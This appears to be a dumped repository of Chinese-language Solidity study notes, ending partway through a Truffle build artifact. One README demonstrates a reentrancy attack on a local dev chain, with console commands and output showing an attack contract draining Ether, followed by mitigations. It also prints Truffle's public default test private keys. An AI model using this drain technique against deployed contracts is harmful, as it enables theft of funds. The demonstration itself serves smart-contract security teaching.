├── README.md
├── documents
├── ethereum_yellow_paper_cn.pdf
└── 区块链介绍.pptx
└── notes
├── attacks
├── 1.md
├── 2.md
├── 3.md
├── README.md
└── example01
│ ├── README.md
│ ├── build
│ └── contracts
│ │ ├── Migrations.json
│ │ ├── Reentrancy.json
│ │ └── ReentrancyAttack.json
│ ├── contracts
│ ├── Migrations.sol
│ ├── Reentrancy.sol
│ └── ReentrancyAttack.sol
│ ├── migrations
│ ├── 1_initial_migration.js
│ └── 2_deploy_reentrancy.js
│ ├── truffle-config.js
│ └── truffle.js
├── golang
├── api.md
└── golang.sol
│ └── demo
│ ├── main.go
│ └── token
│ ├── BoreyToken.sol
│ └── boreytoken.go
├── remix
├── guide.md
└── install.md
├── summary
├── README.md
├── geth.md
├── images
│ ├── assert.test.png
│ ├── myetherwallet.png
│ ├── poa.n1.t1.png
│ ├── poa.n2.t1.png
│ ├── public.external.sum1.png
│ ├── public.external.sum2.png
│ ├── public.external.test1.png
│ ├── public.external.test2.png
│ └── require.test.png
├── knowledge.md
├── myetherwallet.md
├── poa.md
└── supervisor.md
└── truffle
├── README.md
├── erc20-token
├── README.md
├── contracts
│ ├── ABCToken.sol
│ ├── Migrations.sol
│ └── utils
│ │ ├── ERC20Token.sol
│ │ └── SafeMath.sol
├── migrations
│ ├── 1_initial_migration.js
│ └── 2_abc_token.js
├── test
│ └── abc_token.js
├── truffle-config.js
└── truffle.js
├── install.md
└── summary.md
/README.md:
--------------------------------------------------------------------------------
1 | # 1 Solidity
2 |
3 | ## 1.1 Knowledge
4 |
5 | - [基础学习](./notes/summary/knowledge.md#basics)
6 | - [进阶学习](https://github.com/androlo/solidity-workshop)
7 |
8 |
9 | ## 1.2 Personal Summary
10 | - [solidity函数和变量](./notes/summary/knowledge.md#solidity-functions-and-variables)
11 | - [修饰符 public 和 external 的区别](./notes/summary/knowledge.md#different-between-public-and-external)
12 | - [修饰符 prue 和 view 的区别](./notes/summary/knowledge.md#different-between-prue-and-view)
13 | - [Different between require and assert](./notes/summary/knowledge.md#different-between-require-and-assert)
14 | - [send ether from contract to another contract](./notes/summary/knowledge.md#send-ether-from-contract-to-another-contract)
15 | - [modifer function with parameters](./notes/summary/knowledge.md#modifer-function-with-parameters)
16 |
17 |
18 | # 2 开发环境及框架
19 | * [以太坊私链POW或POA部署](./notes/summary/geth.md)
20 |
21 | ## 2.1 Reminx
22 | 网页版开发工具
23 | - 在线地址:http://remix.ethereum.org
24 | - Github: https://github.com/ethereum/remixd
25 |
26 | 优点:简单直接
27 | 缺点:工程化程度不足, 如:不能编写测试用例
28 |
29 | ### 2.1.1 summary
30 | - [环境安装](./nodes/remix/install.md)
31 | - [使用说明](./nodes/remix/guide.md)
32 | - [Reminx + MetaMask 部署智能合约](./nodes/remix/deploy_example.md)
33 |
34 | ## 2.2 Truffle + VScode
35 | 本地项目开发框架 https://github.com/trufflesuite/truffle
36 |
37 | 优点:功能丰富, 支持Reminx的所有功能;
38 | 缺点:命令行操作, 略复杂;
39 |
40 | ### 2.2.1 Sumary
41 | - [环境安装](./notes/truffle/install.md)
42 |
43 | - [获取部署的智能合约地址、abi和code](./notes/truffle/summary.md#获取部署的智能合约地址、abi和code)
44 |
45 | - [测试用例智能合约调用另外一个智能合约](./notes/truffle/summary.md#测试用例智能合约调用另外一个智能合约)
46 |
47 | - [使用truffle框架管理编写一个ERC20 token、并编写测试用例和部署](./notes/truffle/erc20-token/)
48 |
49 |
50 | # 3 智能合约调用
51 | ## 3.1 Golang Api
52 | - [智能合约API生成](./notes/golang/api.md)
53 | - [部署]()
54 | - [交易]()
55 | - [Event监听]()
56 |
57 | ## 3.2 Python Api
58 | - [web3.py api](https://github.com/ethereum/web3.py)
59 | - [部署]()
60 | - [交易]()
61 |
62 |
63 | ## 3.3 Nodejs Api
64 | - [web3.js api](https://github.com/ethereum/web3.js)
65 |
66 | # 4 智能合约安全
67 |
68 | ## 4.1 漏洞
69 | - [可重入攻击](./notes/attacks/example01/)
70 | - [短地址攻击](./notes/attacks/1.md)
71 | - [整数溢出](./notes/attacks/2.md)
72 |
73 | ## 4.2 安全工具
74 | - [Formal Verification of Ethereum Smart Contracts](https://securify.ch/)
75 | - [Security Tools](https://consensys.github.io/smart-contract-best-practices/security_tools/)
76 |
77 | ## 4.3 推荐实践
78 | - [openzeppelin-solidity](https://github.com/OpenZeppelin/openzeppelin-solidity)
79 | - [Ethereum Smart Contract Security Best Practices](https://consensys.github.io/smart-contract-best-practices/)
80 |
81 |
82 | # 5 Resources
83 | - [Soldity Document](https://solidity.readthedocs.io/en/v0.4.24/)
84 | - [Awesome-solidity](https://github.com/bkrem/awesome-solidity)
85 |
--------------------------------------------------------------------------------
/documents/ethereum_yellow_paper_cn.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/documents/ethereum_yellow_paper_cn.pdf
--------------------------------------------------------------------------------
/documents/区块链介绍.pptx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/documents/区块链介绍.pptx
--------------------------------------------------------------------------------
/notes/attacks/1.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/attacks/1.md
--------------------------------------------------------------------------------
/notes/attacks/2.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/attacks/2.md
--------------------------------------------------------------------------------
/notes/attacks/3.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/attacks/3.md
--------------------------------------------------------------------------------
/notes/attacks/README.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/attacks/README.md
--------------------------------------------------------------------------------
/notes/attacks/example01/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## 知识点
4 | - [Fallback Function](https://solidity.readthedocs.io/en/develop/contracts.html?#fallback-function)
5 |
6 | - 智能合约通过常规的转账接收Ether时,必须定义一个 fallback 函数并且标记为payable, 当接收Ether时被触发调用;
7 |
8 | - 例如:若有constract A 和 B, 当 B 调用 A 函数 方法中包含 `call` 操作时, 会触发B 中的 fallback 函数 , 可重入攻击利用该原理进行函数递归操作提取Ether;
9 |
10 | ## 智能合约描述
11 | - Reentrancy
12 | 可接收别的钱包或Constract的 Ether代币
13 |
14 | - ReentrancyAttack
15 | 是攻击智能合约, 通过 payable put 函数接收Ether代币,并发送给Reentrancy 智能合约, 并进行提现操作, 当调用到call函数时触发fallback函数,进行递归操作 进行提现 ;
16 |
17 | ## 测试
18 | - 获取开发环境钱包地址
19 | ```
20 | prod@ubuntu:~/solidity/example01$ truffle develop
21 | Truffle Develop started at http://127.0.0.1:9545/
22 |
23 | Accounts:
24 | (0) 0x627306090abab3a6e1400e9345bc60c78a8bef57
25 | (1) 0xf17f52151ebef6c7334fad080c5704d77216b732
26 | (2) 0xc5fdf4076b8f3a5357c5e395ab970b5b54098fef
27 | (3) 0x821aea9a577a9b44299b9c15c88cf3087f3b5544
28 | (4) 0x0d1d4e623d10f9fba5db95830f7d3839406c6af2
29 | (5) 0x2932b7a2355d6fecc4b5c0b6bd44cc31df247a2e
30 | (6) 0x2191ef87e392377ec08e7c08eb105ef5448eced5
31 | (7) 0x0f4f2ac550a1b4e2280d04c21cea7ebd822934b5
32 | (8) 0x6330a553fc93768f612722bb8c2ec78ac90b3bbc
33 | (9) 0x5aeda56215b167893e80b4fe645ba6d5bab767de
34 |
35 | Private Keys:
36 | (0) c87509a1c067bbde78beb793e6fa76530b6382a4c0241e5e4a9ec0a0f44dc0d3
37 | (1) ae6ae8e5ccbfb04590405997ee2d52d2b330726137b875053c36d94e974d162f
38 | (2) 0dbbe8e4ae425a6d2687f1a7e3ba17bc98c673636790f1b8ad91193c05875ef1
39 | (3) c88b703fb08cbea894b6aeff5a544fb92e78a18e19814cd85da83b71f772aa6c
40 | (4) 388c684f0ba1ef5017716adb5d21a053ea8e90277d0868337519f97bede61418
41 | (5) 659cbb0e2411a44db63778987b1e22153c086a95eb6b18bdf89de078917abc63
42 | (6) 82d052c865f5763aad42add438569276c00d3d88a2d062d36b2bae914d58b8c8
43 | (7) aa3680d5d48a8283413f7a108367c7299ca73f553735860a87b08f39395618b7
44 | (8) 0f62d96d6675f32685bbdb8ac13cda7c23436f63efbb9d07700d8669ff12b7c4
45 | (9) 8d5366123cb560bb606379f90a0bfd4769eecc0557f1b362dcae9012b548b1e5
46 |
47 | Mnemonic: candy maple cake sugar pudding cream honey rich smooth crumble sweet treat
48 |
49 | ⚠️ Important ⚠️ : This mnemonic was created for you by Truffle. It is not secure.
50 | Ensure you do not use it on production blockchains, or else you risk losing funds.
51 |
52 | truffle(develop)> web3.eth.accounts[0]
53 | '0x627306090abab3a6e1400e9345bc60c78a8bef57'
54 | truffle(develop)> web3.eth.accounts[1]
55 | '0xf17f52151ebef6c7334fad080c5704d77216b732'
56 |
57 | ```
58 | - 修改migrations下 2_deploy_reentrancy.js 文件
59 | ```js
60 | var Reentrancy = artifacts.require("Reentrancy");
61 | var ReentrancyAttack = artifacts.require("ReentrancyAttack");
62 |
63 | module.exports = function(deployer) {
64 |
65 | deployer.deploy(Reentrancy).then(
66 | () => deployer.deploy(
67 | ReentrancyAttack,
68 | Reentrancy.address,
69 | {from: "0xf17f52151ebef6c7334fad080c5704d77216b732"}) // 指定owner地址为 accounts[1]
70 | );
71 | };
72 |
73 | ```
74 |
75 | - Migrate
76 | ```bash
77 | truffle(develop)> migrate -f 2
78 | Compiling ./contracts/Migrations.sol...
79 | Compiling ./contracts/Reentrancy.sol...
80 | Compiling ./contracts/ReentrancyAttack.sol...
81 | Writing artifacts to ./build/contracts
82 |
83 | Using network 'develop'.
84 |
85 | Running migration: 2_deploy_reentrancy.js
86 | Deploying Reentrancy...
87 | ... 0x140580f72dca073bdf80941465eb515b442b16fefdc2f2090bad8edcc4e877f6
88 | Reentrancy: 0x8cdaf0cd259887258bc13a92c0a6da92698644c0
89 | Deploying ReentrancyAttack...
90 | ... 0x7a9e367e1b939df04c956e62b49a722cba1aca82859c05e268a06147b3e36b09
91 | ReentrancyAttack: 0x2e2d10b41b7c8ddb995568a87185428d9a513ead
92 | Saving artifacts...
93 | ```
94 |
95 | - 测试
96 |
97 | ```js
98 | // 查看 合约部署地址
99 | Reentrancy.deployed().then(instance => raddress = instance.address);
100 | ReentrancyAttack.deployed().then(instance => ataddress = instance.address);
101 |
102 | // 从 Account4 向 Reentrancy 合约 put 5 个 Ether
103 | Reentrancy.deployed().then(instance => instance.put({from: web3.eth.accounts[3], value: web3.toWei(5, "ether")}));
104 | // 从 Account5 向 ReentrancyAttack 合约 put 2 个 Ether, 并盗取4个Ether 到 ReentrancyAttack合约地址上, ReentrancyAttack 合约上会拥有 6 个 Ether
105 | ReentrancyAttack.deployed().then(instance => instance.put({from: web3.eth.accounts[1], value: web3.toWei(2, "ether")}))
106 |
107 | web3.eth.getBalance(raddress);
108 | web3.eth.getBalance(ataddress);
109 |
110 | ```
111 |
112 | ```bash
113 | # 查看
114 | truffle(develop)> Reentrancy.deployed().then(instance => raddress = instance.address);
115 | '0x8cdaf0cd259887258bc13a92c0a6da92698644c0'
116 | truffle(develop)> ReentrancyAttack.deployed().then(instance => ataddress = instance.address);
117 | '0x2e2d10b41b7c8ddb995568a87185428d9a513ead'
118 |
119 | # accounts[3] 转账到智能合约 Reentrancy
120 | truffle(develop)> Reentrancy.deployed().then(instance => instance.put({from: web3.eth.accounts[3], value: web3.toWei(5, "ether")}));
121 | { tx: '0x97280e6bfbe2b70b645af221c20d30d4df7806b46b4b4fbff47d5ff2016745aa',
122 | receipt:
123 | { transactionHash: '0x97280e6bfbe2b70b645af221c20d30d4df7806b46b4b4fbff47d5ff2016745aa',
124 | transactionIndex: 0,
125 | blockHash: '0x648ac7e14cde711ccfc3c4316df36ebc17e8d478ffad52a278727323ff92ef4d',
126 | blockNumber: 3,
127 | gasUsed: 41746,
128 | cumulativeGasUsed: 41746,
129 | contractAddress: null,
130 | logs: [],
131 | status: '0x01',
132 | logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' },
133 | logs: [] }
134 |
135 | # account1 通过 ReentrancyAttack进行转账 但是会盗取 Reentrancy 合约的 Ether
136 | truffle(develop)> ReentrancyAttack.deployed().then(instance => instance.put({from: web3.eth.accounts[1], value: web3.toWei(2, "ether")}))
137 | { tx: '0xa4176f77239d779018edcc5224d250f949edafaf6d37d1e5acf04c252457962f',
138 | receipt:
139 | { transactionHash: '0xa4176f77239d779018edcc5224d250f949edafaf6d37d1e5acf04c252457962f',
140 | transactionIndex: 0,
141 | blockHash: '0x876a22140c1dedd8dc386bff84e2b904bcd166aa989026df7a6d95a52ae2384b',
142 | blockNumber: 4,
143 | gasUsed: 81879,
144 | cumulativeGasUsed: 81879,
145 | contractAddress: null,
146 | logs: [],
147 | status: '0x01',
148 | logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' },
149 | logs: [] }
150 |
151 | # 查看最后余额 。。。 满足期望值
152 | truffle(develop)> web3.eth.getBalance(raddress)
153 | BigNumber { s: 1, e: 18, c: [ 10000 ] }
154 | truffle(develop)> web3.eth.getBalance(ataddress)
155 | BigNumber { s: 1, e: 18, c: [ 60000 ] }
156 |
157 | ```
158 |
159 |
160 | ## 如何避免
161 | - 转账操作尽量避免使用 call 方法, 使用transfer or send;
162 | - 在进行转账前,对balance中该地址赋值为0;
--------------------------------------------------------------------------------
/notes/attacks/example01/build/contracts/Migrations.json:
--------------------------------------------------------------------------------
1 | {
2 | "contractName": "Migrations",
3 | "abi": [
4 | {
5 | "constant": true,
6 | "inputs": [],
7 | "name": "last_completed_migration",
8 | "outputs": [
9 | {
10 | "name": "",
11 | "type": "uint256"
12 | }
13 | ],
14 | "payable": false,
15 | "stateMutability": "view",
16 | "type": "function"
17 | },
18 | {
19 | "constant": true,
20 | "inputs": [],
21 | "name": "owner",
22 | "outputs": [
23 | {
24 | "name": "",
25 | "type": "address"
26 | }
27 | ],
28 | "payable": false,
29 | "stateMutability": "view",
30 | "type": "function"
31 | },
32 | {
33 | "inputs": [],
34 | "payable": false,
35 | "stateMutability": "nonpayable",
36 | "type": "constructor"
37 | },
38 | {
39 | "constant": false,
40 | "inputs": [
41 | {
42 | "name": "completed",
43 | "type": "uint256"
44 | }
45 | ],
46 | "name": "setCompleted",
47 | "outputs": [],
48 | "payable": false,
49 | "stateMutability": "nonpayable",
50 | "type": "function"
51 | },
52 | {
53 | "constant": false,
54 | "inputs": [
55 | {
56 | "name": "new_address",
57 | "type": "address"
58 | }
59 | ],
60 | "name": "upgrade",
61 | "outputs": [],
62 | "payable": false,
63 | "stateMutability": "nonpayable",
64 | "type": "function"
65 | }
66 | ],
67 | "bytecode": "0x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102f8806100606000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100aa5780638da5cb5b146100d5578063fdacd5761461012c575b600080fd5b34801561007357600080fd5b506100a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610159565b005b3480156100b657600080fd5b506100bf610241565b6040518082815260200191505060405180910390f35b3480156100e157600080fd5b506100ea610247565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561013857600080fd5b506101576004803603810190808035906020019092919050505061026c565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023d578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561022457600080fd5b505af1158015610238573d6000803e3d6000fd5b505050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102c957806001819055505b505600a165627a7a7230582014ca147ce4cb2d30f1fe0273b8cb77996dd489ec56c6b2336f7ce1c1732a6bff0029",
68 | "deployedBytecode": "0x608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100aa5780638da5cb5b146100d5578063fdacd5761461012c575b600080fd5b34801561007357600080fd5b506100a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610159565b005b3480156100b657600080fd5b506100bf610241565b6040518082815260200191505060405180910390f35b3480156100e157600080fd5b506100ea610247565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561013857600080fd5b506101576004803603810190808035906020019092919050505061026c565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023d578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561022457600080fd5b505af1158015610238573d6000803e3d6000fd5b505050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102c957806001819055505b505600a165627a7a7230582014ca147ce4cb2d30f1fe0273b8cb77996dd489ec56c6b2336f7ce1c1732a6bff0029",
69 | "sourceMap": "26:480:0:-;;;115:50;8:9:-1;5:2;;;30:1;27;20:12;5:2;115:50:0;150:10;142:5;;:18;;;;;;;;;;;;;;;;;;26:480;;;;;;",
70 | "deployedSourceMap": "26:480:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;339:165;;8:9:-1;5:2;;;30:1;27;20:12;5:2;339:165:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;74:36;;8:9:-1;5:2;;;30:1;27;20:12;5:2;74:36:0;;;;;;;;;;;;;;;;;;;;;;;50:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;50:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;232:103;;8:9:-1;5:2;;;30:1;27;20:12;5:2;232:103:0;;;;;;;;;;;;;;;;;;;;;;;;;;339:165;401:19;215:5;;;;;;;;;;;201:19;;:10;:19;;;197:26;;;434:11;401:45;;452:8;:21;;;474:24;;452:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;452:47:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;452:47:0;;;;197:26;339:165;;:::o;74:36::-;;;;:::o;50:20::-;;;;;;;;;;;;;:::o;232:103::-;215:5;;;;;;;;;;;201:19;;:10;:19;;;197:26;;;321:9;294:24;:36;;;;197:26;232:103;:::o",
71 | "source": "pragma solidity ^0.4.23;\n\ncontract Migrations {\n address public owner;\n uint public last_completed_migration;\n\n constructor() public {\n owner = msg.sender;\n }\n\n modifier restricted() {\n if (msg.sender == owner) _;\n }\n\n function setCompleted(uint completed) public restricted {\n last_completed_migration = completed;\n }\n\n function upgrade(address new_address) public restricted {\n Migrations upgraded = Migrations(new_address);\n upgraded.setCompleted(last_completed_migration);\n }\n}\n",
72 | "sourcePath": "D:\\solidity\\solidity-note\\notes\\attacks\\example01\\contracts\\Migrations.sol",
73 | "ast": {
74 | "absolutePath": "/D/solidity/solidity-note/notes/attacks/example01/contracts/Migrations.sol",
75 | "exportedSymbols": {
76 | "Migrations": [
77 | 56
78 | ]
79 | },
80 | "id": 57,
81 | "nodeType": "SourceUnit",
82 | "nodes": [
83 | {
84 | "id": 1,
85 | "literals": [
86 | "solidity",
87 | "^",
88 | "0.4",
89 | ".23"
90 | ],
91 | "nodeType": "PragmaDirective",
92 | "src": "0:24:0"
93 | },
94 | {
95 | "baseContracts": [],
96 | "contractDependencies": [],
97 | "contractKind": "contract",
98 | "documentation": null,
99 | "fullyImplemented": true,
100 | "id": 56,
101 | "linearizedBaseContracts": [
102 | 56
103 | ],
104 | "name": "Migrations",
105 | "nodeType": "ContractDefinition",
106 | "nodes": [
107 | {
108 | "constant": false,
109 | "id": 3,
110 | "name": "owner",
111 | "nodeType": "VariableDeclaration",
112 | "scope": 56,
113 | "src": "50:20:0",
114 | "stateVariable": true,
115 | "storageLocation": "default",
116 | "typeDescriptions": {
117 | "typeIdentifier": "t_address",
118 | "typeString": "address"
119 | },
120 | "typeName": {
121 | "id": 2,
122 | "name": "address",
123 | "nodeType": "ElementaryTypeName",
124 | "src": "50:7:0",
125 | "typeDescriptions": {
126 | "typeIdentifier": "t_address",
127 | "typeString": "address"
128 | }
129 | },
130 | "value": null,
131 | "visibility": "public"
132 | },
133 | {
134 | "constant": false,
135 | "id": 5,
136 | "name": "last_completed_migration",
137 | "nodeType": "VariableDeclaration",
138 | "scope": 56,
139 | "src": "74:36:0",
140 | "stateVariable": true,
141 | "storageLocation": "default",
142 | "typeDescriptions": {
143 | "typeIdentifier": "t_uint256",
144 | "typeString": "uint256"
145 | },
146 | "typeName": {
147 | "id": 4,
148 | "name": "uint",
149 | "nodeType": "ElementaryTypeName",
150 | "src": "74:4:0",
151 | "typeDescriptions": {
152 | "typeIdentifier": "t_uint256",
153 | "typeString": "uint256"
154 | }
155 | },
156 | "value": null,
157 | "visibility": "public"
158 | },
159 | {
160 | "body": {
161 | "id": 13,
162 | "nodeType": "Block",
163 | "src": "136:29:0",
164 | "statements": [
165 | {
166 | "expression": {
167 | "argumentTypes": null,
168 | "id": 11,
169 | "isConstant": false,
170 | "isLValue": false,
171 | "isPure": false,
172 | "lValueRequested": false,
173 | "leftHandSide": {
174 | "argumentTypes": null,
175 | "id": 8,
176 | "name": "owner",
177 | "nodeType": "Identifier",
178 | "overloadedDeclarations": [],
179 | "referencedDeclaration": 3,
180 | "src": "142:5:0",
181 | "typeDescriptions": {
182 | "typeIdentifier": "t_address",
183 | "typeString": "address"
184 | }
185 | },
186 | "nodeType": "Assignment",
187 | "operator": "=",
188 | "rightHandSide": {
189 | "argumentTypes": null,
190 | "expression": {
191 | "argumentTypes": null,
192 | "id": 9,
193 | "name": "msg",
194 | "nodeType": "Identifier",
195 | "overloadedDeclarations": [],
196 | "referencedDeclaration": 230,
197 | "src": "150:3:0",
198 | "typeDescriptions": {
199 | "typeIdentifier": "t_magic_message",
200 | "typeString": "msg"
201 | }
202 | },
203 | "id": 10,
204 | "isConstant": false,
205 | "isLValue": false,
206 | "isPure": false,
207 | "lValueRequested": false,
208 | "memberName": "sender",
209 | "nodeType": "MemberAccess",
210 | "referencedDeclaration": null,
211 | "src": "150:10:0",
212 | "typeDescriptions": {
213 | "typeIdentifier": "t_address",
214 | "typeString": "address"
215 | }
216 | },
217 | "src": "142:18:0",
218 | "typeDescriptions": {
219 | "typeIdentifier": "t_address",
220 | "typeString": "address"
221 | }
222 | },
223 | "id": 12,
224 | "nodeType": "ExpressionStatement",
225 | "src": "142:18:0"
226 | }
227 | ]
228 | },
229 | "documentation": null,
230 | "id": 14,
231 | "implemented": true,
232 | "isConstructor": true,
233 | "isDeclaredConst": false,
234 | "modifiers": [],
235 | "name": "",
236 | "nodeType": "FunctionDefinition",
237 | "parameters": {
238 | "id": 6,
239 | "nodeType": "ParameterList",
240 | "parameters": [],
241 | "src": "126:2:0"
242 | },
243 | "payable": false,
244 | "returnParameters": {
245 | "id": 7,
246 | "nodeType": "ParameterList",
247 | "parameters": [],
248 | "src": "136:0:0"
249 | },
250 | "scope": 56,
251 | "src": "115:50:0",
252 | "stateMutability": "nonpayable",
253 | "superFunction": null,
254 | "visibility": "public"
255 | },
256 | {
257 | "body": {
258 | "id": 22,
259 | "nodeType": "Block",
260 | "src": "191:37:0",
261 | "statements": [
262 | {
263 | "condition": {
264 | "argumentTypes": null,
265 | "commonType": {
266 | "typeIdentifier": "t_address",
267 | "typeString": "address"
268 | },
269 | "id": 19,
270 | "isConstant": false,
271 | "isLValue": false,
272 | "isPure": false,
273 | "lValueRequested": false,
274 | "leftExpression": {
275 | "argumentTypes": null,
276 | "expression": {
277 | "argumentTypes": null,
278 | "id": 16,
279 | "name": "msg",
280 | "nodeType": "Identifier",
281 | "overloadedDeclarations": [],
282 | "referencedDeclaration": 230,
283 | "src": "201:3:0",
284 | "typeDescriptions": {
285 | "typeIdentifier": "t_magic_message",
286 | "typeString": "msg"
287 | }
288 | },
289 | "id": 17,
290 | "isConstant": false,
291 | "isLValue": false,
292 | "isPure": false,
293 | "lValueRequested": false,
294 | "memberName": "sender",
295 | "nodeType": "MemberAccess",
296 | "referencedDeclaration": null,
297 | "src": "201:10:0",
298 | "typeDescriptions": {
299 | "typeIdentifier": "t_address",
300 | "typeString": "address"
301 | }
302 | },
303 | "nodeType": "BinaryOperation",
304 | "operator": "==",
305 | "rightExpression": {
306 | "argumentTypes": null,
307 | "id": 18,
308 | "name": "owner",
309 | "nodeType": "Identifier",
310 | "overloadedDeclarations": [],
311 | "referencedDeclaration": 3,
312 | "src": "215:5:0",
313 | "typeDescriptions": {
314 | "typeIdentifier": "t_address",
315 | "typeString": "address"
316 | }
317 | },
318 | "src": "201:19:0",
319 | "typeDescriptions": {
320 | "typeIdentifier": "t_bool",
321 | "typeString": "bool"
322 | }
323 | },
324 | "falseBody": null,
325 | "id": 21,
326 | "nodeType": "IfStatement",
327 | "src": "197:26:0",
328 | "trueBody": {
329 | "id": 20,
330 | "nodeType": "PlaceholderStatement",
331 | "src": "222:1:0"
332 | }
333 | }
334 | ]
335 | },
336 | "documentation": null,
337 | "id": 23,
338 | "name": "restricted",
339 | "nodeType": "ModifierDefinition",
340 | "parameters": {
341 | "id": 15,
342 | "nodeType": "ParameterList",
343 | "parameters": [],
344 | "src": "188:2:0"
345 | },
346 | "src": "169:59:0",
347 | "visibility": "internal"
348 | },
349 | {
350 | "body": {
351 | "id": 34,
352 | "nodeType": "Block",
353 | "src": "288:47:0",
354 | "statements": [
355 | {
356 | "expression": {
357 | "argumentTypes": null,
358 | "id": 32,
359 | "isConstant": false,
360 | "isLValue": false,
361 | "isPure": false,
362 | "lValueRequested": false,
363 | "leftHandSide": {
364 | "argumentTypes": null,
365 | "id": 30,
366 | "name": "last_completed_migration",
367 | "nodeType": "Identifier",
368 | "overloadedDeclarations": [],
369 | "referencedDeclaration": 5,
370 | "src": "294:24:0",
371 | "typeDescriptions": {
372 | "typeIdentifier": "t_uint256",
373 | "typeString": "uint256"
374 | }
375 | },
376 | "nodeType": "Assignment",
377 | "operator": "=",
378 | "rightHandSide": {
379 | "argumentTypes": null,
380 | "id": 31,
381 | "name": "completed",
382 | "nodeType": "Identifier",
383 | "overloadedDeclarations": [],
384 | "referencedDeclaration": 25,
385 | "src": "321:9:0",
386 | "typeDescriptions": {
387 | "typeIdentifier": "t_uint256",
388 | "typeString": "uint256"
389 | }
390 | },
391 | "src": "294:36:0",
392 | "typeDescriptions": {
393 | "typeIdentifier": "t_uint256",
394 | "typeString": "uint256"
395 | }
396 | },
397 | "id": 33,
398 | "nodeType": "ExpressionStatement",
399 | "src": "294:36:0"
400 | }
401 | ]
402 | },
403 | "documentation": null,
404 | "id": 35,
405 | "implemented": true,
406 | "isConstructor": false,
407 | "isDeclaredConst": false,
408 | "modifiers": [
409 | {
410 | "arguments": null,
411 | "id": 28,
412 | "modifierName": {
413 | "argumentTypes": null,
414 | "id": 27,
415 | "name": "restricted",
416 | "nodeType": "Identifier",
417 | "overloadedDeclarations": [],
418 | "referencedDeclaration": 23,
419 | "src": "277:10:0",
420 | "typeDescriptions": {
421 | "typeIdentifier": "t_modifier$__$",
422 | "typeString": "modifier ()"
423 | }
424 | },
425 | "nodeType": "ModifierInvocation",
426 | "src": "277:10:0"
427 | }
428 | ],
429 | "name": "setCompleted",
430 | "nodeType": "FunctionDefinition",
431 | "parameters": {
432 | "id": 26,
433 | "nodeType": "ParameterList",
434 | "parameters": [
435 | {
436 | "constant": false,
437 | "id": 25,
438 | "name": "completed",
439 | "nodeType": "VariableDeclaration",
440 | "scope": 35,
441 | "src": "254:14:0",
442 | "stateVariable": false,
443 | "storageLocation": "default",
444 | "typeDescriptions": {
445 | "typeIdentifier": "t_uint256",
446 | "typeString": "uint256"
447 | },
448 | "typeName": {
449 | "id": 24,
450 | "name": "uint",
451 | "nodeType": "ElementaryTypeName",
452 | "src": "254:4:0",
453 | "typeDescriptions": {
454 | "typeIdentifier": "t_uint256",
455 | "typeString": "uint256"
456 | }
457 | },
458 | "value": null,
